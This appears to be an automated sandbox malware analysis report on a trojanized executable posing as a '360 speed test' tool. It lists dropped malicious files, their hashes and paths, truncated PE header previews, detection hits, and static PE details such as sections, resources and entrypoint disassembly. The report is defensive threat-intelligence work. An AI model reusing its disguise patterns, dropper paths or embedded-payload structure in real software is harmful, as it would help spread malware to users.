                                                                                                                                                                          SHA1:A01F4725042457F8D025828AAA1662C4785C418C
                                                                                                                                                                          SHA-256:7B437C2C895D53A5FCCF8C1E9D78122016D11E66BE36EC28261B4E7D0F3B35BD
                                                                                                                                                                          SHA-512:4D4839E921716987B52D7C413FD60C6D32E884352A73CB66A2F2486F6AF6BD56FF9A01C6FE58A8DBC1D436C8318F6086C6D638EF9257F7E1A5283CB2996DB414
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...|.oZ.................h...8...@...3............@.......................................@..........................................p..hH...........S...5...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc...hH...p...J..................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9472.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):48645528
                                                                                                                                                                          Entropy (8bit):4.136132871442961
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:393216:mWmj/gcji4x+shjJXaaqEN/1FIgnHU2RMCiT0VH:mWmj/gKi4xZjJJqEt1FIgHny3T
                                                                                                                                                                          MD5:075AA93867DAB56EC74B8EF70FAA4D89
                                                                                                                                                                          SHA1:7B1BFB16487228BD1D25A24798EF634FDE5BBBA2
                                                                                                                                                                          SHA-256:E63149AB7BCB0B041BC83B29906B99158F4B0BE15BA9CE2125087471A2684172
                                                                                                                                                                          SHA-512:7067A34F8CA6692073C961BC4ED24F14E9378F77CEEB52F1F69861A2F022AC448049485D4FC2767C50ECA61E14E6F656DC428B25C68681F8810194B0AA3C5F25
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#..#..#..*.K. ..*.[.,..#.....8\b.(..8\R."..8\U."..Rich#..........................PE..L...Q.qZ.................r...*...B...9............@...........................$......m....@..........................................@e.d...........P...H4...........................................................................................text....p.......r.................. ..`.rdata...+.......,...v..............@..@.data....#..........................@....ndata...P]..............................rsrc...d....@e.....................@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9473.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):48645520
                                                                                                                                                                          Entropy (8bit):6.446589601647328
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:786432:1Wmj/gKi4xtqMIqaA2mXlQtNeyw7aTWMT1wFjJJqEt1FIg5srEgTAr7BLIQq9kr:1roKFxAO2mlRIdCtIQqi
                                                                                                                                                                          MD5:11F2C3DABC7FB5AE3BA0E47269B0508A
                                                                                                                                                                          SHA1:3C9485126B7C1AB44796ECAFC4AFF97F92FD96FC
                                                                                                                                                                          SHA-256:B30904C0357088C7AA9796F6FFF4B7BAAE9B37D3B887D023799B684B69374771
                                                                                                                                                                          SHA-512:A0E6DCCB56CFAD473D61004AC2D7A7DD36ABE27BBE2BF3864AD18C6DB781B21DF41A858BA0888802AB4309DD7CAE32191790D572B2BBADBBD2D50B3957C6339E
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#..#..#..*.K. ..*.[.,..#.....8\b.(..8\R."..8\U."..Rich#..........................PE..L...Q.qZ.................r...*...B...9............@...........................$......L....@..........................................@e.h...........H...H4...........................................................................................text....p.......r.................. ..`.rdata...+.......,...v..............@..@.data....#..........................@....ndata...P]..............................rsrc...h....@e.....................@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9474.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):67836248
                                                                                                                                                                          Entropy (8bit):2.6932698238481385
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:393216:S428UlXQi9u4GLYDBf0JIv9KkqHWYZojTancfjbEf9m9LK:SJvlB9ksBfnKkbnI8hK
                                                                                                                                                                          MD5:2B83CC4E21F02915FD058D3D7134E43A
                                                                                                                                                                          SHA1:83ADAF1F132AEFC3BEB04661C657209B9A110A56
                                                                                                                                                                          SHA-256:D9F46677D8763FBE385A88D79B839C45C6138823E5E209795CDF20E79578723A
                                                                                                                                                                          SHA-512:46C73647F293D12A82FBDC4A9DC0CD255E5E8A8D0C5C437C665D5AAAE89A61AA30608417E71077FA8B68955237B94ECC71757F859CE5CD938A9D6FA5CA22D2BF
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........18..PV..PV..PV.*_...PV..PW.MPV.*_...PV.sf..PV..VP..PV.Rich.PV.........PE..L......].................f...*.......5............@.......................................@..........................................p...{..............P:...........................................................................................text...{d.......f.................. ..`.rdata...............j..............@..@.data...X............~..............@....ndata...................................rsrc....{...p...|..................@..@................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9475.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):70855624
                                                                                                                                                                          Entropy (8bit):2.5034590170649333
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:196608:reAo/DiYI+Ou+hNugfIBicyruR4LIr/tgfjsWZuPFwsmxsrP5arqYynKIRff7N9v:yAmDmhNXOuKg7sWI7mxK5iX0H6lTndK
                                                                                                                                                                          MD5:604CA5C5D70D3F76289B4914480EA947
                                                                                                                                                                          SHA1:14E070A3A0A65EB8CF56C8E0D3CE278FC202E37D
                                                                                                                                                                          SHA-256:A784923E2C5F9956D2EBE99178B8FA9322C3E0028563FB7DC51F714F421A7F53
                                                                                                                                                                          SHA-512:CC4652E2C2F54CC1A87967BD7B25FBAFDD686F14C61F63BA76CCB05A5A1CCA08196F2C1FF403E98B587D3694BAFF0B95B80714DD240E30D96FADE9DFC7E6380D
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:.H.TUH.TUH.TU'..UM.TUA..UI.TUA..UX.TUA..Uy.TUH.UU.TU...UI.TUS..U..TUS..U.TUS..U.TUS..Ue.TUS..UI.TUS..UI.TUS..UI.TURichH.TU........PE..L......_..................&.........8.........&...@...........................9......n9...@.........................`./.]....F/......p1.,9............9.......3..~...&...............................................&.D............................text....~&.......&................. ..`.rdata........&.......&.............@..@.data...`...../..8...z/.............@....rsrc...,9...p1..:....0.............@..@.reloc.."'....3..(....2.............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9476.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):56704264
                                                                                                                                                                          Entropy (8bit):3.0991522540117473
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:0ABDBDE1EA9E688E44E2D6BDC03CC4EB
                                                                                                                                                                          SHA1:737435289161347FCA24BD519AD0F7BEB4D90081
                                                                                                                                                                          SHA-256:B02A4A5DD76CD9411234C6BBCFD2E218D4BAD0635FB1274961590C66FF2EF2C0
                                                                                                                                                                          SHA-512:FE036AF2C28FBF32CE190A38C112E7A3765FF5D74DC594680A104674B7D7AED08196484F4B5F1C0C800A5A289C4D75A1EBCC89E3E9C2481F96CF5688F2CA1E9C
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.*....F..G.w.F.*....F..v..F...@..F.Rich.F.........PE..L......].................d...|......k2............@..........................P.......ha...@.................................<............Q............a..5...........................................................................................text....b.......d.................. ..`.rdata..J............h..............@..@.data....U...........|..............@....ndata...................................rsrc....Q.......R..................@..@................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9477.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):54705264
                                                                                                                                                                          Entropy (8bit):3.138207586699679
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:B280685CFE19381D19C8528FD1A847AD
                                                                                                                                                                          SHA1:C6D66D3DAAFAFA05276AF23E146701DB0F732695
                                                                                                                                                                          SHA-256:EDF096FC3E0F11E865A4E236D37EC71DB8D7B80EFE247C54766BB218D906C25F
                                                                                                                                                                          SHA-512:D5B194C4A254EDFB34686BA01427A07B95BFC151FAAD578F6C6A498524F379B004F6F98D8A029594EE71E9D4383FD8BD46FB07A91D69E629D3F5C6EC9D3C7B2E
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............`Y.`Y.`YM.nY.`Y&.dY.`Y..?Y.`Y..=Y.`Y.aYb.`Y&.jY.`Y&.kY..`Yv.fY.`YRich.`Y........................PE..L...9m.[.....................j....................@..........................0.......dC.........................................<....0..U.............B.."..................................................................0........................text............................... ..`.rdata...>.......@..................@..@.data...t*..........................@....rsrc...U....0......................@..@................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts94A7.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):79391328
                                                                                                                                                                          Entropy (8bit):2.2844001684774113
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:265C030A97364EC5868791C193760F2B
                                                                                                                                                                          SHA1:0DAC2A865D92989E5E41AE88A52FC7E8C0960501
                                                                                                                                                                          SHA-256:6072325A31B9AFDDEBA8E1FF8B0AAD3B5517FF2DB5DA7019326C15CAF893F548
                                                                                                                                                                          SHA-512:80DB24000E22918A3E5115067887862B1302946078D2BBF46D85A2730F6D9D00BFDD46963027A4433AC61335416B74BE232DDC26336E883B40E2B020DB1C3012
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[ke,.............E.......X.......X......8.f.....8.p..............X.......X..3....X..$....X.......X......Rich............................PE..L......_.....................................0....@.......................................@.................................d...@....P...............,..`>.......k...7...............................2..@............0..X............................text............................... ..`.rdata.......0......."..............@..@.data...DH..........................@....rsrc........P......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2802185
                                                                                                                                                                          Entropy (8bit):7.998346824373754
                                                                                                                                                                          Encrypted:true
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:2DA4AF50967E752FDB5793B2CEBCC847
                                                                                                                                                                          SHA1:124F61C5629BE00A41EEBCEE440CD4CD52FD96C9
                                                                                                                                                                          SHA-256:785A02D157AAEBA669B379C96EA26320F7A994F9FD3E4C1C5850550C7F372989
                                                                                                                                                                          SHA-512:0D5E14B6D7D5C29F782DB56BC11E7E4D1DAFB69C20C476A07ECB2010B10E038049B8F4BD295D1C630C35F257B472E63994D228674FB537ECE36337507509E368
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 15%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L......K..........#...... ...P... ...J...0...P....@...........................................@.......@..............................P...G..........................................................................................................UPX0..... ..............................UPX1..... ...0......................@....rsrc....P...P...L..."..............@..............................................................................................................................................................................................................................................................................................................................................................3.05.UPX!....

                                                                                                                                                                          C:\Users\user\Documents\DVWHKMNFNN\NWTVCDUMOB.xlsm

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:Microsoft Excel 2007+
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):18387
                                                                                                                                                                          Entropy (8bit):7.523057953697544
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:E566FC53051035E1E6FD0ED1823DE0F9
                                                                                                                                                                          SHA1:00BC96C48B98676ECD67E81A6F1D7754E4156044
                                                                                                                                                                          SHA-256:8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
                                                                                                                                                                          SHA-512:A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-*c.{...dT.m.kL]Yj.|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd*...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

                                                                                                                                                                          C:\Users\user\Documents\DVWHKMNFNN\~$NWTVCDUMOB.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):165
                                                                                                                                                                          Entropy (8bit):1.6081032063576088
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                                          SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                                          SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                                          SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                                          C:\Users\user\Documents\DVWHKMNFNN\~$cache1

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):771584
                                                                                                                                                                          Entropy (8bit):6.645519821262512
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:9429B447E97A8C5F6DCBF760C3A32F02
                                                                                                                                                                          SHA1:3C1E03E1C177E7B0C6E0A7264A72A3090EF50F7D
                                                                                                                                                                          SHA-256:4A2573C836AFF9528EF8EDA12F6CC89FF0F811369B0FE97E5048A609D8EC69FF
                                                                                                                                                                          SHA-512:EC0C354F34D06AB722D36256C33D09E1750E9EA83F40213A95D42CA5424905E3047A6DAD6C4D243A6A4124DF228D2AD529FD9D9CE4BD3D0813955EA9E48D8180
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Yara Hits:
                                                                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\DVWHKMNFNN\~$cache1, Author: Joe Security
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 92%
                                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................&....................@.......................... ...................@..............................B*...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                                                                                                                          Static File Info

                                                                                                                                                                          General

                                                                                                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Entropy (8bit):7.8719751427910065
                                                                                                                                                                          TrID:
                                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 93.09%
                                                                                                                                                                          • Win32 Executable Borland Delphi 7 (665061/41) 6.19%
                                                                                                                                                                          • UPX compressed Win32 Executable (30571/9) 0.28%
                                                                                                                                                                          • Win32 EXE Yoda's Crypter (26571/9) 0.25%
                                                                                                                                                                          • Win32 Executable Delphi generic (14689/80) 0.14%
                                                                                                                                                                          File name:360#U6d4b#U901f.exe
                                                                                                                                                                          File size:3573760
                                                                                                                                                                          MD5:f4e6aac90793c1830e47adfd445254ae
                                                                                                                                                                          SHA1:3de193ff5b14466e9133924a0cbbd47e93e8e4b5
                                                                                                                                                                          SHA256:f080bf1c00fb050cc2a92fb17c08cd22d427782c6f47c532a2462ce3325905f0
                                                                                                                                                                          SHA512:ae58e10ab7b8e91cf54284bd0a5dfb66c1b39a2ebd6247c23086da9e734d0bbab47fb6ee4598ff1c73499ff66b064082b669f874e24f108dfce18471a8925e4b
                                                                                                                                                                          SSDEEP:49152:onsHyjtk2MYC5GDeSVN8XUBKGA9oD+xEBJQZcaDdVCQo0YpEHkMqZ+x8gU/:onsmtk2aVSQXUG9oDnJQWaDdOpCdqRd/
                                                                                                                                                                          TLSH:8CF51233B2D18433D1325A3D9C6B93A9582ABF512D38794E7BF92E4C4F3D68128652D3
                                                                                                                                                                          File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                                                                          File Icon

                                                                                                                                                                          Icon Hash:b2f88e3361a633b2

                                                                                                                                                                          Static PE Info

                                                                                                                                                                          General

                                                                                                                                                                          Entrypoint:0x49ab80
                                                                                                                                                                          Entrypoint Section:CODE
                                                                                                                                                                          Digitally signed:false
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          Subsystem:windows gui
                                                                                                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                                                                                                          DLL Characteristics:
                                                                                                                                                                          Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                                                                                                                                                          TLS Callbacks:
                                                                                                                                                                          CLR (.Net) Version:
                                                                                                                                                                          OS Version Major:4
                                                                                                                                                                          OS Version Minor:0
                                                                                                                                                                          File Version Major:4
                                                                                                                                                                          File Version Minor:0
                                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                                          Subsystem Version Minor:0
                                                                                                                                                                          Import Hash:332f7ce65ead0adfb3d35147033aabe9

                                                                                                                                                                          Entrypoint Preview

                                                                                                                                                                          Instruction
                                                                                                                                                                          push ebp
                                                                                                                                                                          mov ebp, esp
                                                                                                                                                                          add esp, FFFFFFF0h
                                                                                                                                                                          mov eax, 0049A778h
                                                                                                                                                                          call 00007F16F10F949Dh
                                                                                                                                                                          mov eax, dword ptr [0049DBCCh]
                                                                                                                                                                          mov eax, dword ptr [eax]
                                                                                                                                                                          call 00007F16F114CDE5h
                                                                                                                                                                          mov eax, dword ptr [0049DBCCh]
                                                                                                                                                                          mov eax, dword ptr [eax]
                                                                                                                                                                          mov edx, 0049ABE0h
                                                                                                                                                                          call 00007F16F114C9E4h
                                                                                                                                                                          mov ecx, dword ptr [0049DBDCh]
                                                                                                                                                                          mov eax, dword ptr [0049DBCCh]
                                                                                                                                                                          mov eax, dword ptr [eax]
                                                                                                                                                                          mov edx, dword ptr [00496590h]
                                                                                                                                                                          call 00007F16F114CDD4h
                                                                                                                                                                          mov eax, dword ptr [0049DBCCh]
                                                                                                                                                                          mov eax, dword ptr [eax]
                                                                                                                                                                          call 00007F16F114CE48h
                                                                                                                                                                          call 00007F16F10F6F7Bh
                                                                                                                                                                          add byte ptr [eax], al

                                                                                                                                                                          Data Directories

                                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xa00000x2a42.idata
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xb00000x2bdf3c.rsrc
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0xa50000xa980.reloc
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0xa40180x21.rdata
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0xa40000x18.rdata
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                          Sections

                                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                          CODE0x10000x99bec0x99c00False0.5141641260162602data6.572957870355296IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                          DATA0x9b0000x2e540x3000False0.453125data4.854620797809023IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                          BSS0x9e0000x11e50x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                          .idata0xa00000x2a420x2c00False0.3537819602272727data4.919333216027082IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                          .tls0xa30000x100x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                          .rdata0xa40000x390x200False0.119140625MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"0.7846201577093705IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                                                                                                                          .reloc0xa50000xa9800xaa00False0.5899816176470588data6.674124985579511IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                                                                                                                          .rsrc0xb00000x2bdf3c0x2be000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

                                                                                                                                                                          Resources

                                                                                                                                                                          NameRVASizeTypeLanguageCountry
                                                                                                                                                                          RT_CURSOR0xb0dc80x134Targa image data - Map 64 x 65536 x 1 +32 "\001"
                                                                                                                                                                          RT_CURSOR0xb0efc0x134data
                                                                                                                                                                          RT_CURSOR0xb10300x134data
                                                                                                                                                                          RT_CURSOR0xb11640x134data
                                                                                                                                                                          RT_CURSOR0xb12980x134data
                                                                                                                                                                          RT_CURSOR0xb13cc0x134data
                                                                                                                                                                          RT_CURSOR0xb15000x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"
                                                                                                                                                                          RT_BITMAP0xb16340x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb18040x1e4Device independent bitmap graphic, 36 x 19 x 4, image size 380
                                                                                                                                                                          RT_BITMAP0xb19e80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb1bb80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb1d880x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb1f580x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb21280x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb22f80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb24c80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb26980x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360
                                                                                                                                                                          RT_BITMAP0xb28680xe8Device independent bitmap graphic, 16 x 16 x 4, image size 128
                                                                                                                                                                          RT_ICON0xb29500x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096
                                                                                                                                                                          RT_ICON0xb39f80x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 8192TurkishTurkey
                                                                                                                                                                          RT_DIALOG0xb4aa00x52data
                                                                                                                                                                          RT_STRING0xb4af40x358data
                                                                                                                                                                          RT_STRING0xb4e4c0x428data
                                                                                                                                                                          RT_STRING0xb52740x3a4data
                                                                                                                                                                          RT_STRING0xb56180x3bcdata
                                                                                                                                                                          RT_STRING0xb59d40x2d4data
                                                                                                                                                                          RT_STRING0xb5ca80x334data
                                                                                                                                                                          RT_STRING0xb5fdc0x42cdata
                                                                                                                                                                          RT_STRING0xb64080x1f0data
                                                                                                                                                                          RT_STRING0xb65f80x1c0data
                                                                                                                                                                          RT_STRING0xb67b80xdcdata
                                                                                                                                                                          RT_STRING0xb68940x320data
                                                                                                                                                                          RT_STRING0xb6bb40xd8data
                                                                                                                                                                          RT_STRING0xb6c8c0x118data
                                                                                                                                                                          RT_STRING0xb6da40x268data
                                                                                                                                                                          RT_STRING0xb700c0x3f8data
                                                                                                                                                                          RT_STRING0xb74040x378data
                                                                                                                                                                          RT_STRING0xb777c0x380data
                                                                                                                                                                          RT_STRING0xb7afc0x374data
                                                                                                                                                                          RT_STRING0xb7e700xe0data
                                                                                                                                                                          RT_STRING0xb7f500xbcdata
                                                                                                                                                                          RT_STRING0xb800c0x368data
                                                                                                                                                                          RT_STRING0xb83740x3fcdata
                                                                                                                                                                          RT_STRING0xb87700x2fcdata
                                                                                                                                                                          RT_STRING0xb8a6c0x354data
                                                                                                                                                                          RT_RCDATA0xb8dc00x44data
                                                                                                                                                                          RT_RCDATA0xb8e040x10data
                                                                                                                                                                          RT_RCDATA0xb8e140x2ac209PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                                                                                          RT_RCDATA0x3650200x3ASCII text, with no line terminatorsTurkishTurkey
                                                                                                                                                                          RT_RCDATA0x3650240x3c00PE32 executable (DLL) (GUI) Intel 80386, for MS WindowsTurkishTurkey
